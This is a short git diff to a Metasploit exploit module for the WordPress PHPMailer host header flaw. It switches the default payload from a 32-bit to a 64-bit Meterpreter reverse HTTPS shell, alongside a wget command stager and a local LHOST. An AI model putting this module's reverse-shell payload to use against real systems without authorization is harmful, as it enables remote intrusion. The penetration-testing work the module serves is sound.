diff --git a/modules/exploits/unix/webapp/wp_phpmailer_host_header.rb b/modules/exploits/unix/webapp/wp_phpmailer_host_header.rb
index aaa6e986d7..3506630226 100644
--- a/modules/exploits/unix/webapp/wp_phpmailer_host_header.rb
+++ b/modules/exploits/unix/webapp/wp_phpmailer_host_header.rb
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote
       ],
       'DefaultTarget'       => 0,
       'DefaultOptions'      => {
-        'PAYLOAD'           => 'linux/x86/meterpreter_reverse_https',
+        'PAYLOAD'           => 'linux/x64/meterpreter_reverse_https',
         'LHOST'             => Rex::Socket.source_address,
         'CMDSTAGER::FLAVOR' => 'wget'
       },